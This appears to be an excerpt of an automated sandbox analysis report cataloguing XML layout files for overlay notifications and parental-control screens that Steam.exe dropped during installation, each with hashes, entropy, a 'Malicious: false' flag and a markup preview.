SHA1:	36FBE1D7002F7E78CEBE668A79AA8638B1116FA7
SHA-256:	2356E492326C4BBFCD6D32CF7F161B349CCC9CFFD0C54D41B4BF55C9FAEAD199
SHA-512:	8F94E15DBD5474B12D477CF136B7986C578A76F9CA85400AC0BB65EEA053DC0EF0703F7EA2BD442965CD2F3513C20EB032705DE354FF75BF6D682A6D984FAAB1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RefreshLoginNotification">....<Panel class="NotificationFrame" />....<Image class="SteamCogTwoImageNotification" src="file://{images}/overlay/notification_steamcog.png" />....<Image class="HintButton" src="file://{images}/overlay/notification_middlebutton.png" />....<Label class="NotificationOneLabelBody" text="#Notification_RefreshLogin" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_screenshot.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	527
Entropy (8bit):	4.874283415855849
Encrypted:	false
SSDEEP:
MD5:	C529B53ABE075FB89C412252F504259B
SHA1:	04254A19AEADC7F6F665B09620BD800B121065BB
SHA-256:	8A9269EF59A30B8D2B8DBD099C02D090654AFD33ABA7B3FAD0ED0322FBA2B39A
SHA-512:	DA481681766C534DAA7015AB640796C633FD383B76CC7893DC78CF81115AD3DE9C5660AA4B82621911B70198CDA5B47BA0E8192075125FED76C552874D15958A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Panel id="DataContainer" class="DataContainer">.....<Image id="ScreenshotImage" class="ScreenshotImage" />.....<Label id="ScreenshotText" class="ScreenshotText" />....</Panel>....<Image class="HintButton" src="file://{images}/overlay/notification_middlebutton.png" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_steamlinkauth.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	613
Entropy (8bit):	4.93845529706783
Encrypted:	false
SSDEEP:
MD5:	9EC450CA999CC2D2274E0E00E856528B
SHA1:	C1DA5B163724AF3A5441F7279D26B250B0A9719C
SHA-256:	7F9363065DD0C76B620B07C362A795AC5BF9F7E0430B23CD197C94512E880FE2
SHA-512:	71FE1C705B7DE4F919D55C18483B4F0DDB564EA3CE30A4FCE2DCD9032592FB5BAC5086949584C251FE49CE222A2E062552B151BFB4E932E8FE582AAE832D8A93
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCogTwoImageNotification" src="file://{images}/overlay/notification_steamcog.png"/>....<Image class="HintButton" src="file://{images}/overlay/notification_middlebutton.png" />....<Label class="NotificationTitle" text="#Notification_SteamLinkAuth_Title" />....<Label class="NotificationMessage" text="#Notification_SteamLinkAuth_Text" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_watch_request.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	4.996673317737907
Encrypted:	false
SSDEEP:
MD5:	B562D672E081EB3F8102C6296048E98C
SHA1:	753D10FA9DB0CC0CFCFB87D652D5E0191E068532
SHA-256:	61B82F3CC9DCE3D695717D24C23206014266B39D3701E5EAE0C4309A46D9D859
SHA-512:	55D1B318BCB0E4E8FEEA311CA05E148740FC1C2540ED1F93182C579E3DFC092A0902EC1796B9810AF6A8AACE8B91CCD948F5B85F29BF49E005A27314E2C3DBBE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />....<include src="file://{resources}/styles/button.css" />...</styles>.....<OverlayNotificationWatchRequest class="OverlayNotificationWatchRequest" >........<AvatarImage id="AvatarImage" />........<Panel class="OverlayNotificationWatchRequestFrame" >.....<Label id="MessageText" text="#Broadcast_Notification_Viewer_Request_Overlay" class="OverlayNotificationWatchRequestText" />.....<Panel class="OverlayNotificationWatchRequestCapsule" >......<Button id="AcceptButton" onactivate="AcceptBroadcastWatchRequest()" >.......<Label text="#Broadcast_Notification_Accept_Request" /> ......</Button>......<Button id="IgnoreButton" onactivate="IgnoreBroadcastWatchRequest()" >.......<Label text="#Broadcast_Notification_Ignore_Request" /> ......</Button>.....</Panel>....</Panel>...</OverlayNoti

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\overlay.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2971
Entropy (8bit):	4.956594747133259
Encrypted:	false
SSDEEP:
MD5:	1087954B40AC74A8F82066AA0E57BC1B
SHA1:	23AB32DD38FEB73BBEBCBCCB94432033A55F4E91
SHA-256:	6256959F88FC605FC93EC94DA45E8D90FD296DA08D166FFAD3C8885CEB773EAA
SHA-512:	633B51BEC1DBCAAF28BF43F77E4179E5C9C72A304780088941D6B854F9AFC6D56B524151A51C0D91221AD59D43FEBD415C58944DA90FD26466575FD7A12636E7
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/friends/community_main.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />....<include src="file://{resources}/styles/friends/friends_profile_details.css" />....<include src="file://{resources}/styles/mainmenu_communitybackground.css" />...</styles>......<OverlayBasePanel>....<Panel id="BodyWrapper">... ..<Panel id="OverlayDashboard" defaultfocus="LinksAndMore" >......<Panel id="UpperRow" class="UpperRow" tabindex="auto" selectionpos="auto">.......<Panel id="HeaderLabels" tabindex="auto" selectionpos="auto">........<Label id="GameName" class="GameName" text="" />........<Panel id="NotificationArea" tabindex="auto" selectionpos="auto">.........<BroadcastOverlay id="BroadcastNotification" />...........<BatteryIndicator id="OverlayBatteryIndicator" class="OverlayBatteryIndicator

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\overlay_first_time_broadcast.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	4.932681253847644
Encrypted:	false
SSDEEP:
MD5:	8DD0A29B30EE1C397CE06C39ECA124BF
SHA1:	066D15787BE4B07EB8129EF724EBFE99AB8071D4
SHA-256:	F9FA306D34D979B5E959711EEF551E7655CCBBBBF831F1174A89666E8047AECE
SHA-512:	1E9E2814FF926958257A09C3448E01B0428872F3268229F22300E745F1505EEDA62E8DA1AE2117B1D8A3F4F111774AF1D8D32EBCD69B5BEE69FFA9728A580CD0
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/friends/friends.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />...</styles>...........<FirstTimeBroadcastPanel class="FirstTimeBroadcastPanel" >....<Panel class="FirstTimeBroadcastFrame" tabindex="auto" selectionpos="auto" defaultfocus="FriendsApprove" >..... top header panel -->..........<Label class="StdTitle" text="#Broadcast_FirstTime_Title" />.....<Label class="StdLabelLarge" text="#Broadcast_FirstTime_Header" />.......... <FriendsProfileDetailsCompositeHeader id="FriendsProfileDetailsCompositeHeader" /> -->..........<Label class="StdLabelLarge FirstTimeBroadcastSpacer" text="#Broadcast_FirstTime_PermissionHeader" />.............. main panel -->.....<Panel id="BroadcastSettingsContainer" class="Radios Fir

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\overlay_friends_notification_item.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1847
Entropy (8bit):	5.006962288806733
Encrypted:	false
SSDEEP:
MD5:	C1ADC44C8264ECD92EE79D7DFF801DAA
SHA1:	BD84CC1CCC74119E1F994A60809D21C8DBDE16D9
SHA-256:	BA7F5948E37AD008327EE909A2CA9A058A6B76933BE1054C1FCBDC4EABCBD19F
SHA-512:	D16B04A3E8AE68B6ECACD8A11E5960DA9ED9555DD65406962F262188CB4036211E90BFE52063E52A20CCEB4D977C7A9F7C30E07DC0A4BD0CDB8FA42F0691C581
Malicious:	false
Reputation:	unknown
Preview:	..<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/friends/community_main.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />....<include src="file://{resources}/styles/overlay/overlay_friends_notifications.css" />...</styles>.....<OverlayFriendsNotificationItem>....<AvatarImage id="Avatar" />....<Panel class="MoreUnreadChatsIcon" />....<Panel class="FriendInvitesIcon" />......<Panel class="FlowDown NotificationDetailsContainer">.....<Label class="PersonaName" text="{s:personaname}"/>.....<Panel class="VoiceChatNotification NotificationDetails">......<Image src="file://{images}/voice_mic.png" /> ......<Label class="VoiceChatState" text="{s:voicecallstate}"/> voice chat on hold? -->.....</Panel>.....<Panel class="GameInviteNotification NotificationDetails">......<Label text="#Overlay_Friend_Notifications_Game_Invite"/

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\overlay_friends_notifications.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	758
Entropy (8bit):	4.8985253645401166
Encrypted:	false
SSDEEP:
MD5:	2A58EDB415B332E3C2807C255AEC67D5
SHA1:	6E12C3165B6E202AB56AA8805649450624CF25D2
SHA-256:	DF53C67A28B8475AEEA3F2EF85688434F0261C1A38F0841B3B3790041F52B3CD
SHA-512:	56E08BEEAE755C6B34C202D53D370746EE5BAEDE2B4C373A2BC6680CA6EABA4F55E9B778509E19DBF525C4D6265047B5754A9CF7C2BBEB42A595E26DFB079BA4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/friends/community_main.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />....<include src="file://{resources}/styles/overlay/overlay_friends_notifications.css" />...</styles>......<OverlayFriendsNotifications>....<Panel class="FlowRight">.....<Image src="file://{images}/systemmenu/icon_chat.png" />.....<Label class="TitleLabel" text="Friends and\nChat" />....</Panel>....<Panel class="HorizontalRule" />......<Panel id="NotificationContainer"/> code will insert notification panels here -->.....</OverlayFriendsNotifications>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\overlay_notifications.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	733
Entropy (8bit):	4.890349971690228
Encrypted:	false
SSDEEP:
MD5:	B7F4D0D89F4CF61331BAEC2A79EC3F8D
SHA1:	E87FDEC56BE48F66E91847DC33A730C792EE15B6
SHA-256:	37C1C6ED343BF87D3562E2CB152CA1D686512C0FCAB0ABE9BA527FE82AE42450
SHA-512:	BE5F480051625CAC89F231852379BE0637F9BF96C23F736F1007CBBAE9E5BF7FC2631AA6AB3EB7808A046D8E6D7EC162596105BF22243DF21F312EC87186E039
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/button.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<OverlayNotificationPanel class="OverlayNotificationPanel" onactivate="ShowBroadcastDashboard(requests)" >......<Label text="#Broadcast_Notification_Header" class="HeaderLabel" /> ............<Panel id="OverlayNotificationList" class="OverlayNotificationList" >....... reminder panel will be programmatically added here -->......</Panel>...</OverlayNotificationPanel>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\steamcontrollerhud.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2179
Entropy (8bit):	4.998939331436524
Encrypted:	false
SSDEEP:
MD5:	53C634476EBCC393CC1ECCB42F0B89D3
SHA1:	E5EA6165724B24E09C2B0E18DAE4EF6200D333FB
SHA-256:	6705CAF79CD6BA1D229DCFDAA593BC1EB41E1AA3912BCB08352CBB3C408D9450
SHA-512:	D303FA67AD966363ED9D31D24055A17D5F1A902DFD8876B8B1A72D70F528857D462D773438D68F62D3A6DBC74677AF8EFA8CEF30B2660A1614160DD6B6C0BADE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/overlay/steamcontrollerhud.css" />...</styles>......<SteamControllerHUD>....<Panel id="ImageRefCountKeeper" >.....<Image src="file://{images}/library/controller/hud/dpad_n.png" />.....<Image src="file://{images}/library/controller/hud/dpad_s.png" />.....<Image src="file://{images}/library/controller/hud/dpad_w.png" />.....<Image src="file://{images}/library/controller/hud/dpad_e.png" />.....<Image src="file://{images}/library/controller/hud/dpad_nw.png" />.....<Image src="file://{images}/library/controller/hud/dpad_ne.png" />.....<Image src="file://{images}/library/controller/hud/dpad_sw.png" />.....<Image src="file://{images}/library/controller/hud/dpad_se.png" />..........<Image src="file://{images}/library/controller/api/button_kb.png" />....</Panel>......<Panel id="KeyboardContainer" >.....<Panel id="KeyDownRow" >......<Panel id="KeyDummy" />.....</Panel>....<

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\chooseapps.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	497
Entropy (8bit):	4.801653625979387
Encrypted:	false
SSDEEP:
MD5:	9AEEB61E15FE5F806C895185E6A12CFC
SHA1:	29F73FE37C2BED08ED50AE0F04EE2C571F4EEC3B
SHA-256:	EAC446F7B9347597077C6BEACE764E4785FA8D1CF950EEBF9BA0B99E992DDE79
SHA-512:	15CA87AFDE39ACCB927B64533FE13F61DB34D8A9F6DEA271501CF6BE098D96592561DC8056D4CC29E2F38568740626BE6233F2CD7F66D9E0B891C0127F2EEBD8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalChooseAppsChild class="WizardChild" tabindex="auto" selectionpos="auto">....<ParentalLibraryGrid selectionposboundary="vertical" id="ParentalLibraryGrid" />...</ParentalChooseAppsChild>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\choosefeatures.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2237
Entropy (8bit):	5.032479243299067
Encrypted:	false
SSDEEP:
MD5:	05A6E5B7730FD658052E5A732959D668
SHA1:	336B9CCF8F355DB1384384E7AA760383E695C108
SHA-256:	B4E9626B705CF6029FE6FEFC488795FC9B6319684CB18DC6B8AA91CCF511BA9C
SHA-512:	C75938C2ECDB0F74595C9A727DB17709AAACB53281B6EBA6C14640156D0E9B944932848F8BDBCCE10EB3691B321C1E5A584733940A2BC91436EB99A5FB1531B2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalFeaturesChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">..... main panel -->.........<Panel id="ChooseFeaturesPanel" class="BackFamilyGroundImage">......<Panel id="Instructions">.......<Label text="#Parental_Choose_Features" />......</Panel>......<Panel class="Spacer" />......<Label class="SettingsCallout" text="#Parental_Library_Features" />.......<Panel id="LibraryRadioPanel">.......<RadioButton group="Library" id="NoLibrary" class="Button RadioButton" text="#Parental_No_Library" onactivate="ParentalAllowAllGames( false )" />.......<RadioButton group="Library" id="AllLibrary" class="Button RadioButton" text="#Parental_All_Library" ona

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\intro.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.0511678301143785
Encrypted:	false
SSDEEP:
MD5:	B1D6A1C2B3591A786C4BEAA2033A426C
SHA1:	695E82D06F2AEE8A78E6D3D3158718A21BD428C0
SHA-256:	F477D124FFFC9DA4243DC3EE780B1A5CDF2B4E54D3CAE10545BF19267EED9AC3
SHA-512:	F243C8970436C38559445563B191DC68BA9B74AD0143E18FEBFD3DF9124CEA1BBF14F37181AD5A91B8EB92E682D5C995938C97B963CDC290256A033919FE85BB
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalIntroChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel FlowDown">..... main panel -->.....<Panel class="ParentalIntroChildDialog BackFamilyGroundImage">......<Label text="#Parental_Intro1" />......<Panel class="Spacer" />......<Label text="#Parental_Intro2" />......<Panel class="Spacer" />......<ToggleButton id="EnableToggle" class="CheckBox" text="#Parental_Set_Big_Switch" onactivate="ParentalToggleEnabled()" />.....</Panel>....</Panel>........<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.....<Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">......<Label id="Label" text="#WizardButton_N

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_appgrid_overlay.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	360
Entropy (8bit):	4.782846132346378
Encrypted:	false
SSDEEP:
MD5:	DD0EE9A93352F75129D8834A1B86023C
SHA1:	CDBAF431B380DF132DA3D4F7C8AF6CE35C3339F0
SHA-256:	44CE142FACDDB0C85471E2DB6EC4E64B0F5CE1DBD9238F6EA89EA47324236070
SHA-512:	E67A7FEA15B5BAF8086F49CC8CF6D753E6C3360C7463AACA771FEC6B150A740DBA9A94FC3C05168BF7118C4ED14D66F8DFA48552048873721F791ED1B9244351
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/parental/parental.css" />.....</styles>......<ParentalAppOverlayImage >....<Panel id="AppImageOverlay" class="AppImageOverlay" />...</ParentalAppOverlayImage>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_disable.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	949
Entropy (8bit):	4.865408555453593
Encrypted:	false
SSDEEP:
MD5:	E2C4585ADF3DD81718F214D6EC2BBCAB
SHA1:	E6B1B31BCDCCDB9C9FA9A9A14C40FA2AA9860A91
SHA-256:	D73F723AE05F52F46FE56D94EE41607F6F86027B53C7C1F121AEFF314756231A
SHA-512:	24F04FFF5AA792A49F055CBBF8F73C34A032EC951906CD652C722D3BE484ADADDB597723E1C403EEF08651DD15D4BE3FD2F85CCAD215AC19787F755F6F3CF8B8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalDisablePopup class="TenfootMsgBox" tabindex="auto" selectionpos="auto" defaultfocus="CancelButton">......<Panel id="Parent" class="ParentalDisablePopupBody" tabindex="auto">.....<Label class="StdTitle" text="#Parental_DisableTitle" />.....<Label id="MsgBoxDescriptionArea" text="#Parental_DisablePrompt" />.....<Panel id="MsgBoxButtons" >......<Button id="DisableButton" class="Button" onactivate="ParentalDisable()">.......<Label id="ParentalDisableButtonLabel" text="#Parental_Disable" />......</Button>......<Button id="CancelButton" class="Button" onactivate="ParentalDisableCancel()">.......<Label text="#Parental_Disable_Cancel" />......</Button>.....</Panel>....</Panel>...</ParentalDisablePopup>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_griditem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	755
Entropy (8bit):	4.994608725275087
Encrypted:	false
SSDEEP:
MD5:	DEDF9B48E6BE0F12A7DD3E689BBE8284
SHA1:	7F53F4E2E2FBD0187F548B9B8A5965BF238B096E
SHA-256:	E05B87B7303DBF8CF84C9A886D6F5A8CEBB41A4A81ABEAF945ECA1EC6858FCE5
SHA-512:	E647BE8E751D3B12DBA5C2B72C3D343C197A0AF6AB6FE519DD1557E7FC20921C49697462C262F3C2110D00B9DCA7EC0943845E25F4F7D80C70D74F2FE1AD0468
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />......<include src="file://{resources}/styles/parental/parental.css" />...</styles>......<ParentalGridItem class="AppGridItem Ready" onactivate="ToggleParentalLock();" >....<Panel id="ParentalGridItemContents" class="GridAppImageParentalLibraryItem" >.....<Image id="ParentalLockImageLocked" src="file://{images}/locked_acct_lg.png" />.....<Label id="ParentalText2" class="BottomLine" text="#Parental_MoreGames" />....</Panel>.. <Panel class="GridItemBackground" />....<Panel class="RecentNameRow">.....<Label id="AppName" text="#Parental_SelectToAccess"/>....</Panel>...</ParentalGridItem>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_lock.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	888
Entropy (8bit):	4.934562437989948
Encrypted:	false
SSDEEP:
MD5:	C6072ED98D0D75F7D3AB8681F9B69C3B
SHA1:	34B1B968CC38934EB2D38E8B889636BC8AAE4F49
SHA-256:	9AA6345386215CB795C308E3EFCB607EA99EFCE703F23C9602FAD3139B369B56
SHA-512:	A3ECB0CD997AAE73B9CEE6748832C2B82E701AA35E0C59497A377F730500721ADD97831058254E2431CB8AADA13DE55B1C9ADD56589126EB1D6381276F8269EB
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalLockPopup class="TenfootMsgBox" tabindex="auto" selectionpos="auto" defaultfocus="LockButton">......<Panel class="ParentalUnlockPopupBody" tabindex="auto">.....<Label class="StdTitle" text="#Parental_LockTitle" />.....<Label id="MsgBoxDescriptionArea" text="#Parental_LockPrompt" />.....<Panel id="MsgBoxButtons" >......<Button id="LockButton" class="Button" onactivate="ParentalLock()">.......<Label id="ParentalLockButtonLabel" text="#Parental_Lock2" />......</Button>......<Button id="CancelButton" class="Button" onactivate="ButtonCancel()">.......<Label text="#UI_Cancel" />......</Button>.....</Panel>....</Panel>...</ParentalLockPopup>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_recent_app.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	4.970531172123253
Encrypted:	false
SSDEEP:
MD5:	EFE21F7C12638329EC1505153D0B3220
SHA1:	36A6595FDBCE48511527FE13F2AB4EC5F5359BFF
SHA-256:	91DDD76E8AA903E37249341E38AE36C24F1181BEC968FAB9F9ABF9A7816B10C1
SHA-512:	ADBE907DB9DF45C6B75E8B769697ACD37F2417534F1E3C1CE3B1671767E13EFB363DB119B4D6F4DA6200E5D3DEDF17171FBD886ED53BBE9806012D60FCFDB147
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>......<ParentalRecentApp class="RecentApp" onactivate="ToggleParentalLock();" >....<Panel id="ParentalRecentAppContents" class="AppImageParentalLibraryItem" >.....<Image id="ParentalLockImageLocked" src="file://{images}/unlocked_acct_lg.png" />.....<Label id="ParentalText2" class="BottomLine" text="#Parental_MoreGames" />....</Panel>....<Panel class="RecentNameRow">.....<Label id="AppName" text="#Parental_SelectToAccess"/>....</Panel>...</ParentalRecentApp>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_replacement_panel.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	516
Entropy (8bit):	4.989253548558996
Encrypted:	false
SSDEEP:
MD5:	5D8E1BA843E81A4975BA84267A18CC8D
SHA1:	5D32314EB5950486BFAEB409DC3273562926CD7E
SHA-256:	E1A2E71E561E09AD7568E610729D64F745D3AB5EFE055E3F5469B36FDD27BA7F
SHA-512:	520DE7A2F76FDA87EC0E68F3E6E80CDE01C6DBF1A54309D4124F965C184901F18C7C90014EA30BF9D8DFD0013C8A5782F6E042FA698EFAA1BDD517B79EDEDE6F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalReplacementPanel>....<Image id="ParentalLockedImage" src="file://{images}/unlocked_acct_lg.png" />....<Button id="UnlockButton" tabindex="auto" selectionpos="500,0" onactivate="ToggleParentalLock();">.. ...<Label id="UnlockButtonText" class="ButtonLabelSmall" text="#Parental_Unlock3" />....</Button>...</ParentalReplacementPanel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\parental_unlock.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1331
Entropy (8bit):	5.008600856076434
Encrypted:	false
SSDEEP:
MD5:	DA7F8D00FAC96FE08797693BE72E4B9E
SHA1:	DB7A70B42785561A02B00E16C86E12BD1F75AA86
SHA-256:	722CA94806D4CB157A3942C5FF5D89590DB83E87CAF11DB19AEEBA236239CBA2
SHA-512:	FD2B5B230FD2C3640EC9A827EB1056F71A74DF2F04758D492DDBAAF25876E2AA7CE6F9A75A409A187C87BEB59C25144FBB1923D5AC9522ED509C338C69A4FCF4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>....<ParentalUnlockPopup class="TenfootMsgBox" tabindex="auto" selectionpos="auto" defaultfocus="Password">.....<Panel class="ParentalUnlockPopupBody" tabindex="auto">.. <Panel class="FamilyHeader_ctn">.. <Image src="file://{images}/locked_acct_lg.png" />.. <Label class="StdTitle" text="#Parent_Mode" />.. </Panel>....<Label id="MsgBoxDescriptionArea" text="#Parental_EnterPIN" />....<TextEntry class="ParentalPINEntry" id="Password".......textinputclass="HalfWidth DockLeft AppearFromBottomCenter".......undohistory="enabled" />.....<Panel id="MsgBoxButtons" >......<Button id="UnlockButton" class="Button" onactivate="ParentalUnlock()">.......<Label id="ParentalUnlockButtonLabel" text="#Parental_Unlock2" />......</Button>......<Button id=

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setenablecode.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1626
Entropy (8bit):	5.073049428216805
Encrypted:	false
SSDEEP:
MD5:	E5A9D35DCDC2F545FFF82B8A395B4BC1
SHA1:	8CE5FDE6C430B8DE78406DB0C06AF0D02E2757F8
SHA-256:	52BEBBD7991AC441D813A0E7D75BD8D39C9F28C20C1E8D9F23079FE47111CB5A
SHA-512:	749680B901F5EF7A76679780733590CC5613CA4D600C7DD2F4A7B599EBBAE4CA02B916311DA11CF6019A91223D8642D353A0F19717F189373E47CF7076C5AA66
Malicious:	false
Reputation:	unknown
